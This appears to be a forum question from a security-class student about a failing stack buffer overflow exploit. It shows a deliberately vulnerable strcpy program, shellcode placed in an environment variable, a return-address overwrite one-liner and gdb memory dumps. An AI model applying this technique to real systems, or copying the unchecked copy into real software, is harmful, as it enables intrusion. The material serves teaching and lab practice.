Buffer Overflow using environmental variable - problems

I'm taking a class on security. I have this C code that I have to exploit on a linux system.

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv){
    char buffer[500];
    strcpy(buffer, argv[1]);
    return 0;
}

Using gdb, I have discovered that I must overwrite the return address after 504 hex arbitrary hex values.

I have taken some shell code and placed it in an environmental variable.

export scode=$"*shell code here*"

Then, I made a small C program to output the address of the variable.

int main(){
    printf("%#x\n" ,  getenv("scode"));
}

It outputs the address to be 0xbfffde73

So I try to run the vulnerable program, placing the shellcode address after 504 "A"s.

./vuln `python -c 'print "\x41" * 504' + "\x73\xde\xff\xbf"`

I get a segmentation fault. So I dig a little deeper using gdb. It is correctly overwriting the eip register with the address supplied, but still segfaulting.

(gdb) info registers eip
eip            0xbfffde73       0xbfffde73

It was recommended that I looked what was actually at that address, and I found this:

(gdb) x/20x $eip
0xbfffde73:     0x785c3063      0x785c3338      0x785c6365      0x785c3130
0xbfffde83:     0x785c3838      0x785c3430      0x785c3432      0x785c3836
0xbfffde93:     0x785c3236      0x785c3136      0x785c3337      0x785c3836
0xbfffdea3:     0x785c3836      0x785c3236      0x785c3936      0x785c6536
0xbfffdeb3:     0x785c6632      0x785c3338      0x785c6365      0x785c3130

That doesn't appear to be the shellcode that I placed there. Is this what is causing the segmentation fault? How can I do this properly?

Also, this is the method that we are supposed to use, so I don't think that it's an issue with environmental variables not being executable.

Thanks in advance.